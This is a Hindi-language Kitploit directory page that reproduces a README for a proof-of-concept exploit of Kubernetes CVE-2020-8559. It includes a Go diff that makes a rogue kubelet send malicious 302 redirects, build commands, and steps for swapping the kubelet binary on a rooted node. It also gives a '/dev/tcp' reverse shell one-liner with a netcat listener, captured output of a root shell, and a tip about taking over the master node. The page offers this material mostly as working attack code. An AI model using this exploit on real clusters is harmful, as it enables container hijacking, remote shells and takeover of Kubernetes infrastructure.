Skip to content
KitploitKITPLOIT
उपकरणब्लॉग
जमा करें
उपकरणब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

··फ़ीड·संपर्क·गोपनीयता·© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
CVE-2020-8559 — यह CVE-2020-8559 Kubernetes भेद्यता के लिए एक PoC एक्सप्लॉइट है। | Kitploit
उपकरण/GitHubGitHub/tdwyer/cve-2020-8559
विशेषाधिकार वृद्धिकंटेनर सुरक्षाभेद्यता विश्लेषणशोषणपार्श्व आंदोलनपोस्ट-शोषणपेनिट्रेशन टेस्टिंगक्लाउड सुरक्षा
GitHubtdwyer/cve-2020-8559

CVE-2020-8559

यह CVE-2020-8559 Kubernetes भेद्यता के लिए एक PoC एक्सप्लॉइट है।

रिपॉजिटरी देखें
54146 साल पहलेKitploit द्वारा समीक्षित

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
साझा करें

Kubernetes CVE-2020-8559 प्रूफ ऑफ कॉन्सेप्ट PoC एक्सप्लॉइट

यह केवल प्रदर्शन उद्देश्यों के लिए है। इसका उपयोग केवल उन्हीं सिस्टमों पर करें जिन पर आपको प्रशासनिक कार्य करने और CVE-2020-8559 का शोषण करने का अधिकार है।

यह CVE-2020-8559 के लिए एक PoC है। यह भेद्यता उस हमलावर को, जिसने किसी Node पर root प्राप्त कर लिया है, क्लस्टर के किसी भी अन्य Container में कमांड निष्पादित करने की अनुमति देती है, जिससे हमलावर Kubernetes Master Node पर कब्ज़ा कर सकता है।

यह भेद्यता इस तथ्य के कारण है कि Kubernetes API Server और kubectl कमांड HTTP Redirects का अनुसरण करते हैं, साथ ही इस तथ्य के कारण कि Kubernetes API किसी API अनुरोध के सभी घटकों को URL में डाल देता है, अर्थात् Node name, Pod name, Container name और यहाँ तक कि Command भी। इसलिए, यदि Kubelet प्रक्रिया /exec, /attach, /portforward, या किसी resource: proxy क्रिया का उत्तर HTTP 302 Redirect के साथ देती है, जिसमें Location header किसी भिन्न Node पर किसी भिन्न Container में एक अलग कमांड निष्पादित करने का निर्देश देता है, तो Kubernetes API Server या kubectl कमांड Location header में जो कुछ भी है, उसके लिए ख़ुशी से एक नया अनुरोध करेगा।

मेरे PoC कोड के साथ Kubernetes Repo

आप Kubernetes का मेरा फोर्क किया गया संस्करण डाउनलोड कर सकते हैं और exploit kubelet binary बनाने के लिए मेरी branch पर स्विच कर सकते हैं।
यह branch v1.15.9 tag पर आधारित है।

root@kitploit:~
git clone -b CVE-2020-8559 --single-branch [email protected]:tdwyer/kubernetes.git

Git diff

root@kitploit:~
diff --git a/pkg/kubelet/server/server.go b/pkg/kubelet/server/server.go
index c1f1975fe43..8459802755e 100644
--- a/pkg/kubelet/server/server.go
+++ b/pkg/kubelet/server/server.go
@@ -867,6 +867,28 @@ func (s *Server) ServeHTTP(w http.ResponseWriter, req *http.Request) {

        method, path := req.Method, trimURLPath(req.URL.Path)

+       ////
+       ////
+       // If path is vulnerable to CVE-2020-8559 send 302 redirect with malicious Location header
+       ////
+       ////
+       protocol := "https"
+       // If attacking requests from admins using the kubectl command
+       //     host == hostname of the Kubernetes API server obtained from `kubectl -v 8 get pods`
+       // If attacing the Kubernetes API Server
+       //     host == hostname of the Node the Victim container is running on
+       host := "internal-api-123456-123456789.us-west-2.elb.amazonaws.com"
+       namespace := "kube-system"
+       pod := "kcd-7cfbb97c64-p4kf2"
+       container := "kcd"
+       command := "hostname"
+       if strings.Contains(req.URL.Path, "/exec") || strings.Contains(req.URL.Path, "/attach") || strings.Contains(req.URL.Path, "/portforward") {
+               fmt.Println("--------------------------------------------------------------")
+               fmt.Println("Sending Redirect")
+               fmt.Println("--------------------------------------------------------------")
+               http.Redirect(w, req, protocol+"://"+host+"/api/v1/namespaces/"+namespace+"/pods/"+pod+"/exec?command="+command+"&container="+container+"&stderr=true&stdout=true", 302)
+       }
+
        longRunning := strconv.FormatBool(isLongRunningRequest(path))

        servermetrics.HTTPRequests.WithLabelValues(method, path, serverType, longRunning).Inc()

कॉन्फ़िगर करें

यह PoC केवल हार्ड-कोडेड Location header के साथ 302 HTTP Redirect भेजेगा, इसलिए आपको kubernetes/pkg/kubelet/server/server.go को संपादित करके host, namespace, pod, container, और command को अपडेट करना होगा।

प्रो टिप: क्लस्टर के सभी Pods की सूची बनाएं। फिर, क्लस्टर पर कब्ज़ा करने के लिए अपने पास वापस reverse shell शुरू करने हेतु Kubernetes Master Node पर चल रहे एक Pod पर कमांड निष्पादित करने के लिए इसे कॉन्फ़िगर करें।

बिल्ड

हमले को कॉन्फ़िगर करने के बाद, एक rogue kubelet binary बनाएं

root@kitploit:~
cd ~/go/src/k8s.io/kubernetes
GO111MODULE=on go mod download
cd ~/go/src/k8s.io/kubernetes/cmd/kubelet
go build

हमला

  1. किसी Node पर root प्राप्त करें
  2. rogue kubelet binary को Node पर कॉपी करें
  3. kubelet प्रक्रिया को रोकें और binary को rogue binary से ओवर-राइट करें
    kubelet प्रक्रिया का PID खोजें
    ps aux |grep kubelet
    kubelet प्रक्रिया को kill करें और rogue binary को उसके स्थान पर कॉपी करें
    sudo kill $PID ; sudo cp kubelet /usr/local/bin/kubelet
  4. kubelet प्रक्रिया को फिर से kill करें ताकि यह rogue binary के साथ पुनः प्रारंभ हो
    kubelet प्रक्रिया का PID खोजें
    ps aux |grep kubelet
    kubelet प्रक्रिया को kill करें
    sudo kill $PID
  5. यदि किसी व्यवस्थापक पर उनके स्थानीय वर्कस्टेशन पर kubectl कमांड का उपयोग करके हमला करने के लिए कॉन्फ़िगर किया गया है, तो यह कमांड Victim Container का hostname लौटाए, न कि उस container का जिस पर इसे निष्पादित किया जाना चाहिए था
root@kitploit:~
[0038][tdwyer@tdwyer-nuc:~/CVE-2020-8559]$ kubectl exec attacker-5cf89b94db-xdbfm -- date
kcd-7cfbb97c64-p4kf2

आप किसी भी Container से अपने पास वापस reverse shell भी शुरू कर सकते हैं

  1. अपने वर्कस्टेशन पर netcat को सुनने के लिए प्रारंभ करें
    nc -lv 4444
  2. इसके बजाय इस कमांड का उपयोग करें, हालाँकि आपको इसे encode करना होगा। मैं इसे समझने के बाद सटीक तरीका अपडेट करूँगा।
    /bin/sh -i >& /dev/tcp/1.2.3.4/4444 0>&1

सफलता :D

root@kitploit:~
[1617][tdwyer@tdwyer-nuc:~]$ nc -lvk 4444
Listening on [0.0.0.0] (family 0, port 4444)
Connection from 9.8.7.6.in-addr.arpa 46828 received!
bash-5.0#
टूल डाउनलोड करें